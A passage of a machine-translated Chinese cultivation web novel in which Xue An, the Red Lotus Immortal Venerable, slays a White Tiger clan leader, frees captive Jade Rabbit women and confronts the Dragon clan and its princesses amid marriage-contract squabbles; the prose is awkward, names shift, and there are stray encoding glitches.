    "Xue An, you are so ruthless!"


    "Is it ruthless?" Xue An smiled coldly, then pointed at the Yutu Banshee who had looked silly, "Compared with your methods, it seems to be a bit worse!"


    at the same time.


    Li Slaughter, who felt the real death threat, was finally terrified. He exclaimed: "Xue An, you will kill all the members of the White Tiger clan. This should be all right? Is it necessary to fight for death? "


    Xue An said calmly: "You are wrong, you are not a fish, and I am not a net! And since you didn''t cherish the opportunity before, don''t blame me!"


    After all, Xue An raised his sword to the sky, and the sky full of red lotus karma immediately spread the entire sword body, and then he cut it out with a single sword.


    This sword carried the red lotus industry fire and went straight to the slaughter with supreme elegance.


    The mighty power, even though Li Tuxiu''s liver and gallbladder were torn apart even before it came close.


    "Xue An, if you act so recklessly, one day you will be backlashed!"


    With that said, Li Tulu put up his whole body''s cultivation base and greeted him desperately.


    It''s not that Li Slaughter didn''t want to run, but he knew better than anyone else. In this level of battle, which side would run first would mean which side was going to die.


    After all, when this state is reached, all imaginary moves are no longer valid.


    So even though Li Tu Tuan was full of horror, he could only bite the bullet and rushed forward.


    Boom!


    This loud noise directly destroyed the entire banquet hall and even most of the Baihu clan.


    The shock wave even pushed Fox Night far away.


    Wait until everything subsides for a while, then watch the scene again.


    I saw Li Tu Tuan standing in ragged clothes, very embarrassed, but even so, he didn''t even dare to move.


    Because a long sword that looked like autumn water was directly on his throat, the tip of the sword had even pierced the skin, causing it to ooze a drop of bright red blood.


    Li Tuluo carefully swallowed his saliva, and then squeezed a very flattering smile on his face.


    "Big...sir, I am convicted, can you spare my life?"


    But his last fate has just finished.


    Just listen to a muffled sound.


    But seeing Xue An''s hand forward, the long sword pierced his throat and then leaked from the back of his neck.


    The expression on Li Tulu''s face instantly solidified, and then stared at Xue An with infinite bitterness, his mouth opened, he wanted to speak, but couldn''t say a word.


    "Excuse me, I said to destroy you all the door, that is to destroy you all the door, no one can do it!"


    Xue An said lightly, and then drew his sword back abruptly.


    The blood spewed out like spring water, and Li Slaughter''s life was also lost together.


    Xue An''s sword destroyed not only his physical body, but also his spirits were crushed to pieces.


    Therefore, Li Tuluo could only whimper a few times in his throat, and then slowly fell to the ground, revealing his original form.


    It was a sick tiger whose hair was mostly bald.


    So far.


    The banquet hall that was still lively just now became a dead place.


    All the senior members of the White Tiger clan have been swept away, which means that this race will be removed from the monster clan.


    This gang of Yutu Demon Race is already looking silly.


    Especially the jade rabbit banshee looked at Xue An with shock.


    It wasn''t until Li Tulu died completely that she trembled all over, and then burst into tears.


    In the crying, there are years of relief after the vengeance is finally repaid, and the endless sadness after suffering humiliation, but more is the joy that the long-awaited picture has finally become reality.


    Because they knew that the invincible and invincible Honglian-sama who had been watching the world had finally returned!


    Even Hu Ye couldn''t help but mumbled: "I''m wiping, do you want to pull the wind like that? A race that is not weak was destroyed while talking and laughing? It seems that Old Xue''s return this time is much tougher than before! "


    at the same time.


    Xue An turned his head slowly, a look of fatigue appeared in his eyes.


    Although he had lost his courage, Li Tuluan was also a powerhouse of the Half-Step Immortal Emperor. Coupled with the entire White Tiger tribe, even Xue An felt a little pressure.


    "Old Xue, how is it? Can you hold it up? Shouldn''t it be a coma again?" Hu Ye said with a grin.


    "Get out!" Xue An cursed with a smile, then lowered his head to look at these jade rabbit banshees, and whispered softly: "Let''s talk about it, what''s going on? How could you be caught by this white tiger clan?"


    "Yes, sir!" The lead Yutu Banshee responded, and then tremblingly told her past experience.


    Originally from Xue An''s fall in the Great Tribulation of Xianzun, the forces he ruled also fell apart.


    The strongest either stand on their own and become kings, or disappear, and some even switch to the enemy camp.


    The Yutu clan has the lowest strength, so naturally knowing that staying this way will definitely cause trouble, so they fled in the first place.


    Because they have the talent to watch the wind and look at the wind, the Yutu clan followed the observing direction towards the monster clan after escaping.


    They originally wanted to defect to the Dragon Clan, but they never expected that they were stopped by the White Tiger clan just halfway through, and then the two sides fought fiercely.


    With the strength of the Yutu clan, how could it be the opponent of this group of tiger monsters, so after only one face, the Yutu clan was beaten to death, including the patriarch and all the elders.


    In the end, only their group of women were left, and they were imprisoned, and they have suffered humiliation to this day.


    After listening to the story Xue An''s face sank, and a faint trace of murderous intent flashed in his eyes.


    "If you say that, you were intercepted on the way to the Dragon Clan?"


    "Yes!"


    "Very good! It seems that this group of loach is really impatient!"


    As he said, with a wave of his hand, a brilliance flew above the heads of the jade rabbit banshees, and then dispersed and sank into everyone''s body.


    In the blink of an eye, these scarred jade rabbit banshees returned to normal.


    "How? Can I walk?" Xue An asked.


    These banshees knelt down and saluted, "Thank you, sir, for your help, we are all back to normal!"


    Xue An nodded, "That''s good!"


    Then Xue An turned around and said lightly: "Go!"


    "Go to these loaches and ask what happened!"

 Chapter 1819： Intrigue

    Although the celebration period has not yet arrived, the ancestral land of the dragon clan has become very lively.


    Almost all the demon races nearby have arrived, and only some of them are still on the way far away. Not only that, even some secret demon races that have not been born for a long time also wrote back saying that they would participate in this celebration.


    In a word, the momentum of this celebration and the number of guests coming and going even exceeded the dragon''s own estimates.


    And the most fundamental reason for all this is because of Ao Shu.


    After all, being promoted to the realm of Da Luo at the age equivalent to seventeen years old of the human race, this alone is enough to show how amazing the talent of the third dragon princess is.


    In fact, most of the people who came to the celebration this time were young Toshihiko from various monster races.


    These people came here for only one purpose, and that was to find a way to pluck this delicate flower of the Dragon Race.


    I would like to add one more sentence here. Among the three princesses of the dragon clan, the eldest princess Ao Qing has been guarding the holy land and made it clear that he will not get married.


    Although the second princess Ao Yi didn''t have such a vow, her madness is well known, who would dare to provoke such an existence.


    In other words, among the three princesses, only Ao Shu was the most suitable candidate.


    The reason why the monster races coveted it is not only because of her powerful talent, but more importantly, if you become her favorite, it means that the entire dragon race will become your solid backing.


    These ambitious young people from various monster races are naturally unwilling to give up this opportunity to reach the sky.


    That''s why they rushed to the dragon clan ancestral land, thinking about seeing the third princess of the dragon clan first, and striving to leave a good impression in their minds first.


    Unfortunately, these people''s wishful thinking all fell through.


    Because no matter how long they came, no one saw the Dragon Three Princess.


    It wasn''t until the dragon elder behind that he confided the truth with a smile.


    It turns out that Princess Long San followed Ao Yi the second princess to see their eldest sister in the Dragon Sacred Land. At this moment, they were not in the Dragon Ancestral Land at all, and would not return until the day of the celebration.


    Hearing this news, these young handsome men from various monster races were a little disappointed.


    But then, these people regained their spirits.


    Because since there is no way to make a good relationship in advance, you can only wait for the celebration to compare each other''s strengths.


    For a while, the atmosphere became subtle.


    Because these people are very clear, now that one is counted as one, as long as they are in the ancestral land of the dragon clan, they may be their opponents.


    Therefore, mutual suspicion and calculations reached their peak.


    All kinds of open and secret fights to form cliques are simply endless.


    Some even rushed to wait in the void outside of the dragon clan''s ancestral land, the purpose of which was to drive the newcomers away as much as possible.


    After all, in this case, just one less person means one less competitor.


    As for this situation, the elders of the Dragon Clan naturally saw it, but they all did not intervene in a tacit understanding.


    Because the elder said clearly, since these people want to become the three princesses, they must first show their strength and sincerity.


    So in this kind of almost acquiescence, the entire dragon clan''s ancestors fell into a strange atmosphere.


    now.


    In a void thousands of miles away from the ancestral land of the Dragon Race, several monster men with first-born double horns or tails were talking together.


    "Tsk, I think this celebration will simply be called the Longsan Princess''s invitation meeting. Even the princess hasn''t even seen the face of the other princess, and the fight is already in full swing!" A man with long horns on his head The man sneered.


    "Yes, these guys are crazy, even some rookies who are not even real immortals join in the fun, don''t they really know that they pee and look in the mirror?" The other has spots on his face. The man also said.


    "Maybe you are betting on your own luck, in case the third princess likes this one!" The guy next to him with a pig tail sneered.


    "Hehe, if I say that they are all wishful thinking people, there are only a few people who really hope to succeed at this celebration."


    Then he listened to the man who spoke at the beginning with a smirk: "Why don''t we have to say that our son snake has a strategy? First send us here to explore the wind and drive all those irrelevant people away. So I think this The only one who can really win this time is our Young Master Snake!"


    "Yes!" Everyone nodded.


    As he was speaking, a white light suddenly swept to the front of the crowd. After the brilliance dissipated, a handsome young man dressed in black suddenly appeared.


    As soon as the man appeared in the court, he smiled and said, "What did you say about me behind your back?"


    Everyone hurriedly bowed their heads and saluted him when they saw him.


    "The son!"


    "I have seen the son!"


    The young snake snake waved his hand, "Okay, don''t be so polite when you go out! What are you talking about just now?"


    A man stepped forward with a smile on his face: "We are talking about this celebration, and agree that you will defeat everyone and eventually win the beauty!"


    "Yes, yes!" Everyone nodded and said yes.


    This young snake chuckled, ��It��s too early to say these things, but I think those guys are just mediocre people, and they have nothing to say! After all, whether it��s family background or appearance, there are Who can compare to me?"


    His remarks were not vain, after all, the snake clan was considered a big clan among the monster clan.


    Whether it is talent, blood, or strength, they are all top-notch.


    And this son of the snake is the most favored son of the snake family.


    This time I came here with the backing of the entire ethnic group, naturally full of confidence.


    His words are full of arrogance This group of men is naturally slacking off.


    This young snake was complacent when he heard it, and then he smiled and said, "How about it? Has anyone been here while you were waiting here?"


    "Master Hui, there are indeed many people who have been here, but according to your instructions, except for those who came to celebrate sincerely, we blasted away the rest!"


    "Okay! Good job!" Young Snake nodded, then patted the lead man on the shoulder.


    "After it''s done, I won''t treat you badly!"


    These men were overjoyed, "Thank you son!"


    Young Master Snake laughed and was about to turn around and leave, but at this moment, a star boat suddenly smashed into the void and appeared in the distant void.


    This Xingzhou arrived so quickly that it almost rushed to everyone in the blink of an eye.


    Frightened by the aura, these men couldn''t help showing a look of horror, and stepped back one after another.

 Chapter 1820： Long time no see, big loach

    They have been guarding this for the past two days, and the people who persuaded them to return were all from the Little Demon Race.


    Even the young master snake snake couldn''t help but stood still.


    At this moment, I only heard a voice that was indifferent and full of oppressive force coming from the Xingzhou.


    "Step aside!"


    Following the voice, Xingzhou had already rumbling over.


    This young snake trembles all over, and takes a half step back subconsciously, but then an angry look appears in his eyes.


    Among other things, he has never been scolded in this tone.


    What''s more, his own purpose in sending people here is to intercept those who go to the dragon ancestral land.


    Now the origin of this star boat is unknown, so naturally it can''t be let go.


    Therefore he snorted coldly, "Where is the madman, get me back!"


    Following the voice, but seeing him open his mouth, a cloud of black mist hit the star boat.


    This is the natural ability of the Snake Clan.


    Can drive the clouds.


    Moreover, this kind of cloud and fog is not a cloud and fog in the general sense, and can directly act on the most basic level of matter.


    If this starship is contaminated by black fog, it will soon turn into a pile of scrap iron.


    But when a smug look appeared on the face of Young Snake, he heard a soft voice from the star boat.


    "Snake? Interesting!"


    As he spoke, he saw a bright brilliance suddenly appeared in front of Xingzhou, and hit the black mist heavily.


    Bang!


    Almost at the same time, Young Snake was shocked and flew out.


    Immediately after that, the starship passed by him without a hassle, and flew to the dragon clan ancestral land in the distance.


    Young Master Snake only felt the blood surging in his chest, he finally settled it down, and then he couldn''t help but become furious.


    Since childhood, he has never suffered from this kind of loss, especially from the beginning to the end, the other party has not even shown his face, but directly knocked himself aside, which made the snake master feel a great shame.


    "Master!"


    "My son, are you okay!"


    At this time, his gang had already reacted, and hurriedly moved closer, some of them even reached out to support this young snake.


    Young Master Snake slapped his backhand, "Go!"


    This person was beaten out directly.


    Then the young snakeman said with a sullen look: "Follow me to follow, I want to see what is sacred, dare to be so arrogant in front of me!"


    With that said, he took the lead, turned into a stream of light and flew down after chasing Xingzhou.


    These men of his looked at each other, and then hurriedly followed.


    Thousands of miles is nothing but a tea scene for the speed of Young Snake.


    Especially at this moment, the anger in his heart was raging, and the speed of Young Snake was accelerated a bit.


    at last.


    When he first entered the atmosphere of the ancestral land of the dragon clan, Young Master Snake drove aboard the star boat.


    Looking at the starship in the distance, calmly, slowly flying to the depths of the dragon ancestors.


    A look of ruthlessness appeared on Young Snake''s face.


    He had already greeted the family members while on the road, and the family members should have detected the star boat by now.


    As soon as he landed, the Snake Clan would naturally teach the people in this starship a lesson that will be unforgettable for life.


    With this thought, the speed of Young Master Snake also slowed down, and followed without any haste.


    Because he wanted to see where this arrogant Xingzhou was going.


    at the same time.


    Many people who have been observing the situation in secret have also noticed the strangeness, and cast their eyes on the starship that suddenly appeared.


    Especially when they saw the young snake who followed him, a trace of doubt appeared in their hearts.


    How is this going?


    Ever since, many monsters began to move after hearing the wind, and quietly followed the star boat.


    The ancestral land of the Dragons is so large that ordinary people can hardly imagine it.


    But no matter how big it is, there is an end.


    Therefore, after a meal, Xingzhou came to a place and stopped in the sky.


    At this time, not only Young Snake, but also everyone who was observing secretly couldn''t help being astonished.


    Because the place where the star boat came was actually above the Dragon Temple.


    Of course, at this moment, the temple has been demolished and repaired because of its "long-term disrepair", leaving only an empty foundation.


    But all the elders of the Dragon Clan live nearby.


    What does this star boat intend to do here?


    When everyone is in doubt.


    There was a sudden ripple in the space before Xingzhou.


    Immediately afterwards, a young man dressed in white clothes and a slender body, as if cast from pure and flawless colored glaze, appeared in front of everyone.


    As soon as this young man appeared, a big question mark appeared in almost everyone''s heart no matter whether it was in the sky or the earth.


    Because they were so shocked to discover that this white-clothed boy was actually an individual.


    what happened?


    How could Human Race suddenly appear here?


    What is he going to do?


    Just as everyone was puzzled, the young man in white was seen looking down at the bare foundation under his feet, a meaningful smile gradually appeared at the corner of his mouth, and then he spoke softly.


    "Knowing that I am coming, do you even have to demolish your own temple in advance?"


    no respond!


    The world is silent.


    Including Young Snake Snake involuntarily closed his mouth.


    Because this young man exudes a very unique aura, people dare not feel the slightest contempt.


    At this moment, seeing the white-clothed boy raised his eyebrows slightly, "What? Didn''t you notice my arrival? Or did you pretend to be stupid?"


    The sound was not loud, but it spread all over the world.


    Still no response.


    "Very good!" The boy in white nodded, and then took a step forward.


    Boom!


    This step seemed to have stepped on everyone''s heart, and even the world was a stop.


    Then I saw an extremely majestic aura rising from the white-clothed boy.


    Wherever he went, the sky was shaking.


    Young Master Snake gradually opened his mouth and looked at everything before him in disbelief.


    He never thought that someone could have such a tyrannical aura at this moment.


    But seeing the white-clothed boy with an indifferent expression: "I count three times. If you don''t show up in front of me after counting, then I will tear down your ancestral land!"


    "One!"


    As soon as the voice fell, busy shouts came from the sky in the distance.


    "Don''t shout, don''t shout, we are here!"


    Following the voice, just listening to the dragons, countless dragons came to cover the sky, and immediately rushed to the front, and the leader was the dragon elder.


    Seeing this scene, everyone was stupid.


    what happened?


    Why did the entire dragon clan come out?


    The white-clothed boy showed a cold smile. He looked at the sweaty dragon elder on the opposite side with a cold look, and said lightly: "Long time no see, big loach!"

 Chapter 1821： 1 person here, the gods abdicated!

    Big... big loach?


    Everyone present gradually opened their eyes, and they were all stunned by the name.


    That is the great elder who leads the dragon clan!


    Such an identity, not to mention that it belongs to the monster race, even if it is placed in the heavens, it is an existence that cannot be ignored.


    May I ask which monster clan cannot show respect when seeing this great elder?


    But in the mouth of this young man, he became an old loach.


    How can this not shock everyone.


    Young Master Snake was also taken aback, took a deep look at the white-clothed boy, and then a mockery appeared on his face.


    What a lifeless thing, dare to be so disrespectful to the Great Elder, no need to ask, he will be torn to pieces by the angry dragon in the next second.


    This is also good, I''ll save myself no more trouble.


    But just when he thought that the white-clothed boy was bound to die, what happened next made the smile on his face instantly freeze.


    I saw the great elder rubbing his hands in a rather embarrassing manner, and then he sneered and said, "Master Honglian, long time no see!"


    This scene was like a heavy hammer hitting the hearts of everyone present.


    Especially this young snake, couldn''t believe his eyes.


    When did dragons become so talkative?


    The key is that the rest of the elders and the dragon did not respond after hearing that their family''s elder was scorned by others!


    What the **** is going on?


    And this Guren-sama... why does it sound so familiar?


    These questions were entangled into a mess in the mind of Young Snake.


    Faintly, he suddenly felt a terrifying fear.


    at the same time.


    Xue An smiled faintly, "I didn''t expect that you still remember me!"


    Although Xue An was laughing, the elder felt that his body was cold, and a cold sweat appeared on his forehead, and then he hurriedly said with a smile: "Look at what you said, how dare we not recognize you? Right, red Master Lotus Immortal!"


    When I heard the last four words of Red Lotus Immortal Venerable.


    Everyone present and watching the situation in the field through various means was shocked, and then there was a silent uproar.


    Because until then did they understand that this glaze-like young man with clear eyes is actually the one who was once dead, but has recently reincarnated and rebuilt, and then slashed the Five Elements Evil Emperor, which has caused an uproar among the heavens. The Red Lotus Immortal Venerable.


    Once they knew his identity, everyone immediately understood why the great elder and the dragons were so careful before.


    Because... this is an out-and-out peerless fierce!


    Although I haven��t seen it with my own eyes, a rumor has been circulating among the monsters that this Red Lotus Immortal Venerable had been to the Dragon Clan��s ancestral land more than once, and even nearly gave the Dragon Clan��s family wealth accumulated for thousands of years Packed away.


    If that''s all there is to it, the key is that there are rumors that this Red Lotus Immortal Venerable seems to have some inexplicable ties with one of the three dragon princesses.


    Because of this, when the Red Lotus Immortal Venerable fell, these dragons who had almost lost money and wealth were so happy that they had to celebrate with wine.


    These rumors passed through everyone''s minds, and many people who saw the opportunity quickly began to quietly retreat.


    Because they knew that since the rebirth of the Red Lotus Immortal Venerable had come to the ancestral land of the Dragon Race, it was more than just saying hello.


    God knows what the killer grandpa wants to do here!


    So to be safe, it is better to leave as early as possible.


    All of a sudden, the people who quietly retreated and scattered were in an endless stream.


    These people didn''t even dare to show their brilliance until they flew far enough away, and then secretly breathed a sigh of relief.


    One person here, the gods abdicated!


    This is Xue An��s Xianzun Yuwei!


    at the same time.


    Xue An said leisurely: "Very well, since you still know that I am Red Lotus Immortal Venerable, and you also called me a sir, then I will ask you a word now, and you must answer honestly!"


    Seeing Xue An''s expression getting solemn, the elder''s heart couldn''t help but hesitated, what''s the matter? What is this killer going to ask? Need to be so exciting?


    But he reacted quickly and hurriedly said: "My lord, please tell me, I dare not deceive it!"


    Xue An''s eyes grew brighter, "What happened to the Yutu Banshee who was imprisoned by the Baihu clan?"


    The elder looked at Xue An with a dumbfounded look, and a big question mark gradually appeared on his forehead, "The female demon imprisoned by the Baihu clan?"


    Xue An''s eyes flickered, "Yes!"


    "I don''t know what banshee and male demon belong to? Also, this white tiger clan is in charge of that old fellow Li Tuluo, why would you ask me?"


    "Don''t know?" Xue An raised his eyebrows slightly.


    The elder nodded like garlic, "I really don''t know what you are talking about!"


    Xue An smiled coldly, "Okay, then I will let you know what happened!"


    With that, Xue An said without looking back: "Come out!"


    Following the voice, but seeing the brilliance flashes in the star boat, these jade rabbit banshees appeared in front of everyone one after another.


    "The Jade Rabbit Clan!"


    "It''s actually the Yutu clan who has disappeared for a long time!"


    "Gosh, how come they suddenly appear here?"


    There was a slight commotion in the crowd, and some people said in astonishment.


    "This is the Jade Rabbit Banshee I rescued from the Baihu clan, and it is also my former subordinate. Do you know what they have experienced?" Xue Ansheng said coldly.


    Following the voice, these jade rabbit banshees cried and recounted their tragic experience.


    After listening, many people were silent.


    Although they are monsters, they also know the truth about doing something and not doing something.


    But the mistakes made by the Baihu clan had broken through the limit of being a demon and reached a heinous level.


    Many monsters are showing anger ~ www.novelhall.com~ which naturally includes this group of dragons.


    And Xue An looked at this equally indignant great elder with a deep face, and said lightly: "Do you know why I am looking for you now?"


    "They originally came to your dragon clan, but they were robbed by the white tiger clan halfway through. I need you to give me a reasonable explanation!"


    Hearing Xue An''s seemingly calm and murderous words, the elder trembled all over, and immediately said: "Master Honglian, our dragons really don''t know about this!"


    "If we know that the Baihu clan is doing such nonsense, how can we just sit back and let the innocent monster clan fall into such a situation?"


    "Oh, isn''t it?" Xue An was unmoved, "Then how do you want me to believe you?"


    As he said, Xue An showed white teeth, and said in a harsh tone: "After all, they are my subordinates. I have been away from the situation for a few days, and my subordinates have been treated like this. I am really angry!"


    "And the result of my anger, you know!"

 Chapter 1822： Brother Gulian is merciful

    The sweat beads on the forehead of the great elder were already clearly identifiable, and the dragons behind him were also terrified.


    The Dragon Clan, known as the number one demon clan in the heavens, was actually on his own territory at this moment, and was frightened by one person.


    It is estimated that no one would believe this, but it is the case.


    "Red...Master Honglian, this matter really has nothing to do with my dragon clan, I can assure you of this!" the elder said difficultly.


    Xue An''s face was calm, without sadness or joy, as if he hadn''t heard the words of the great elder at all.


    But it was this calm that made the atmosphere in the court extremely depressing.


    The great elder opened his mouth and was about to say something more. At this moment, he heard an excited shout from the distant sky.


    "Wow, you scumbag, how dare you come to our Dragon Race? See if I won''t teach you today!"


    Following the voice, seeing a Guanghua flying to Xue An with a thunderous force, and before everyone could react, he blasted two punches one after another.


    The fists are fierce and deterrent.


    Everyone was shocked.


    But Xue An didn''t even blink his eyelids, and slightly moved to the side to avoid these two punches.


    It was only then that people could see that the punch was a woman with an excited and crazy face.


    "Two...Second princess?" Someone exclaimed.


    That''s right, it was Ao Yi, princess Long Er, who rushed to the court and fought Xue An without questioning.


    At the same time, this Ao Yi still didn''t have any intention to stop after two punches failed one after another. Instead, he stepped forward half a step, punching and kicking again.


    Every move and every style went straight to Xue An''s vitals, and he had no scruples, full of madness.


    Xue An is like a leaf of duckweed in the storm, dodges from left to right, seeming to be in danger of overturning at any time.


    But at this moment, Ao Yi suddenly stopped attacking, and then stepped back a few steps, his face sinking like a waterway: "Xue, why don''t you fight back?"


    Xue An smiled, "Because I am afraid of hurting you."


    "Stop talking nonsense, you gave my sister up and down, and you gave her affectionately and wrongly. Today you said that the next big day, I have to let you know how great aunt is!"


    Feeling that he was underestimated, Ao Yi couldn''t help but get furious, and rushed up again.


    The audience was also boiling over because of her words.


    "What? The Red Lotus Immortal always abandoned Ao Yi''s sister? So, is the previous rumor true?" Someone said with a look of astonishment.


    But more people are desperate.


    After all, many of them were here for the purpose of Longsan Princess Ao Shu, but they never expected to hear this extremely explosive news at this moment.


    Xue An frowned slightly and said in a deep voice: "Ao Yi, I hope you don''t talk nonsense, I have nothing to do with your sister, and it is even more impossible for me to give her up and down!"


    Ao Yi didn''t listen to that at all, and while attacking frantically, he roared: "At this time, he still doesn''t admit it. He is really an irresponsible scumbag. Take it to death!"


    Ao Yi is a real immortal king cultivation base, and because of the blessing of the dragon bloodline, her strength is much higher than that of the same-level strong, and coupled with the full force at this moment, she actually forced Xue An to retreat again and again.


    The elders of the dragon clan watched from behind, and couldn''t help admiring the great elder''s vision from the bottom of my heart.


    "Elder, you are so insightful, you can actually think of using the second princess to deal with Xue An''s trick, and the subordinates really admire it!" An elder actually slapped him.


    But the great elder at the moment did not have the slightest complacency. On the contrary, his expression was extremely ugly, his eyes fixed on the situation in the field.


    When he heard the elder''s flattery, he snarled, "Shut up, you! Now quickly go to the third princess and let her stop the second princess, who is a lunatic, and don''t fight anymore!"


    "Why?" The elder actually asked rhetorically.


    "You idiot, if there is nothing about the White Tiger clan, the second princess may really be able to stop Xue An, but now Xue An is here to stand up for his men and suspect that our dragon clan is also involved. If this is to force him , What will happen is really unpredictable!"


    The words of the great elder awakened the dreamer.


    really.


    At this moment, Xue An''s complexion gradually sank.


    He didn''t want to do anything with this mad woman, but she was so aggressive, and the clay figure was still three-pointed, let alone Xue An.


    Therefore, he said coldly: "Whether you believe it or not, this is the truth anyway, dare to be presumptuous, and be careful that I let you calm down now."


    "Ha ha ha ha ha ha!" Ao Yi laughed nervously, completely ignored Xue An''s words, and the offensive became more and more violent.


    Xue An''s eyes were getting colder, and he stopped abruptly. Without dodge, he greeted Ao Yi''s fist.


    A touch of excitement appeared in Ao Yi''s eyes.


    But in the next second, the excitement turned into consternation.


    Because Xue An suddenly raised his hand to block Ao Yi''s punch in the almost impossible time.


    Boom!


    This punch seemed to hit a copper wall and iron wall, and Ao Yi didn''t even react, and he was shaken out.


    But this was just the beginning. At the moment she was shocked and flew out, Xue An lied in front of him and came directly behind her, and then he wanted to do it.


    Ao Yi felt the chill behind him, and felt awe-inspiring in his heart. He wanted to dodge, but was shocked to find that he was actually locked tightly by Xue An''s mind and couldn''t move at all.


    At this very moment, another Guanghua quickly rushed into the field, and before it fell, an anxious female voice came from it.


    "Brother Honglian, be merciful!"


    As soon as this voice came out, Xue An''s eyes flashed Guanghua, and then he flashed away. Only then did Ao Yi get rid of the blockade, and fell down.


    At the same time, Guanghua dissipated, and there was a beautiful girl wearing a lotus shirt with a curly skin.


    At this moment, the young girl��s eyes were radiant and full of tears, and she looked at Xue An foolishly at Xue An smiled, and then nodded at her, "Shu''er girl!"


    This extremely simple address made Ao Shuji want to cry, because she had seen this scene in her dream more than once.


    Especially after hearing the bad news about Xue An''s fall, she woke up from tears almost every night.


    But when this scene really happened, the person who was thinking about it really stood behind him.


    Ao Shu suddenly felt a strong sense of unreality.


    All these emotions were mixed together, which made her fall into confusion, even unable to speak.


    Ao Yi looked at his sister with a green face, and then gave Xue An a fierce look.


    The meaning is obvious, just say it''s okay?


    But Xue An looked calm, and didn''t even bother to pay attention to this mad woman.


    Because those who are clear are self-clean and those who are turbid, he has a clear conscience, this is enough.

 Chapter 1823： Dragon Princess

    The scene where Princess Longsan met Xue An also made the atmosphere in the field strange.


    Among the dragons, all but Ao Yi looked embarrassed.


    Especially the Great Elder, he didn''t expect things to become like this.


    Originally, I tried my best to avoid the three princesses from meeting Xue An, but eventually I saw it.


    As for the others, they have different ideas.


    For example, the son of the snake, at this moment, his heart is completely cold to the heel.


    Because of the affection in Ao Shu''s eyes, a blind man can see it.


    This is equivalent to convicting him that all his previous attempts were in vain.


    The saddest thing is that he found that he didn''t seem to be even qualified to be sad or angry.


    Ao Shu has nothing to do with him, and he has no right to be sad.


    As for anger...


    A joke, the other party is a super gangster who is too heavy for the dragons to look up. How many lives does he dare to be angry?


    This extremely suffocated feeling made his face become pale.


    Upon seeing this, a subordinate standing aside asked in a low voice with great concern: "My son, what''s the matter with you? Is it uncomfortable?"


    "Close your beak for me!" Young Snake roared with gritted teeth.


    The man closed his mouth with a grievance, and then muttered in his heart: "I am a deer demon, where is the beak?"


    at the same time.


    Ao Shu finally reluctantly calmed down the excitement in his heart, and gave a salute to Xue Anying, "Brother Honglian, my sister has a grumpy temper. Don''t be like her!"


    "Hey, Shu''er, who do you say is grumpy? I''m trying to help you!" Ao Yi shouted.


    "Enough sister, brother Honglian said before, there is no such thing as you think between us!" Ao Shu said sadly.


    "You fool!" Ao Yi was stomped by his sister''s words.


    Although she is sometimes crazy, she is not a fool. On the contrary, her IQ is very high.


    So she actually knew that Xue An hadn''t done anything to her sister, everything was just wishful thinking of her sister.


    But she still has to stand under this banner, because only in this way can she force Xue An to express her attitude, and it is possible to fulfill her sister''s wish.


    But now all the arrangements have been ruined by Ao Shu''s words, how can she not be angry?


    At this moment, Xue An suddenly smiled, then turned and rushed into the star boat and shouted: "Aren''t you coming out yet? Are you planning to hide until the end?"


    What do you mean?


    Who is he talking to?


    Everyone was taken aback for a moment, they heard a light sigh from the star boat.


    Then I saw a white light flashing, and a foolish man appeared in the field.


    Everyone''s eyes gradually widened.


    This is... the Tianhu family?


    The people from Qingqiu Fox Country are also here?


    But the people who reacted the most were the Dragons.


    When he saw this man, the elder couldn''t help but startled, "Fox... Fox night?"


    Hu Ye smiled awkwardly, then bowed to the elder, "Qingqiu Fox Country, the sky fox clan Fox Ye, I have seen the dragon elder!"


    The expression on the face of the Great Elder is simply brilliant.


    There is a touch of relief, a touch of excitement, but more is still unknown.


    Because he didn''t understand at all, why this fox night dared to appear here!


    Wasn''t he the most afraid of seeing people from the dragon clan before?


    What''s more, there is Ao Yi present now!


    really.


    I saw that Ao Yi also looked at Fox Ye with shock. It was not until a moment later that the expression on her face gradually became somber, and then there was a sneer.


    "Who am I? I turned out to be the first **** in the heavens! Tsk tsk, the two scumbags are here today. This is really a rare scene!"


    Hu Ye shook slightly, then took a deep breath and looked up at Ao Yi.


    "Second princess, long time no see!"


    "Humph!" Ao Yi snorted coldly from his nostrils. "Why? Don''t hide? You dare to come and see me? Come on, what do you want to do?"


    As she arrogantly asked Fox Night, Ah Ruan Anyan walked off the star boat one after another.


    Arou walked straight to Huye''s side, then gently took Huye''s arm and asked softly, "Little fox, who are you talking to?"


    The atmosphere in the field suddenly became extremely solemn.


    Almost everyone can see Ao Yi''s frantically beating eyelids and the bulging veins on his forehead.


    The murderous aura was so strong that it was almost substantive, and it was suffocating.


    "Who is she?" Ao Yi asked, pointing at A Rou.


    Huye became extremely calm at this time, and said in a very calm tone: "This is my girlfriend, the future wife! Her name is Arou!"


    Bang!


    Scales appeared on Ao Yi''s shoulders, which was a sign that she was too excited and caused her human form to lose control.


    "What did you say? You say it again?" Ao Yihan said.


    "It''s okay for me to say it ten times! Ao Yi, forget it, you look down on me again, why bother about the so-called marriage contract? Let it go, isn''t it good?" Hu Ye said in a deep voice.


    "My **** not, even if I look down on you, you can''t go looking for another woman behind my back!" Ao Yi was going crazy.


    And this kind of Shura field also made An Yan very worried. She grabbed Xue An''s hand and whispered softly: "Husband, will Huye and Arou be fine?"


    "Don''t worry, no, after all, the Dragon Clan will not let this Ao Yi come here!" Xue An said.


    At this time An Yan suddenly reached Xue An''s ear and lowered his voice: "Husband, that girl over there has been watching you!"


    Xue An knew who it was without looking back.


    And the smile on An Yan''s face also made him feel embarrassed, so he could only cough lightly: "Ahem, Yan''er, listen to me..."


    "Okay, no need to explain, I''m not such a stingy woman!" An Yan said with a chuckle, and then turned to look at Ao Shu again.


    At this moment, Ao Shu was full of sorrow and sorrow, because An Yan''s appearance shattered the last illusion in her heart.


    Even because of An Yan''s noble temperament, she couldn''t even think of being wrong, so she could only stare blankly.


    An Yan couldn''t help but sigh a little with this lovely and pitiful appearance.


    For a time, the entire temple was transformed into the ultimate Asura field. The dragon elders stared at them with big eyes, and they didn''t know what to do.


    Persuade, I don��t know how to persuade!


    Let''s do it, the other is Red Lotus Immortal Venerable, and the other is Qingqiu Tianhu!


    At the time of the dilemma, a female voice sighed softly: "Okay, Yier, you should step back first!"


    Following the voice, a woman appeared in the scene.


    This is a woman wearing a plain white dress with picturesque eyebrows and a calm temperament all over her body.


    After seeing this woman, the elders of the dragon clan gave all the gifts together.


    "I have seen the princess!"


    That''s right!


    The visitor is the dragon princess, Ao Qing who guards the origin of the holy land.


    Xue An smiled slightly, "Well, the one who can really take care of things among the dragons is here!"

 Chapter 1824： Cancel the marriage contract

    Ao Qinglian moved lightly and stepped forward slowly.


    Wherever the momentum is, the whole audience is solemn.


    Even the crazy Ao Yi stood there obediently, lowered his head not to speak.


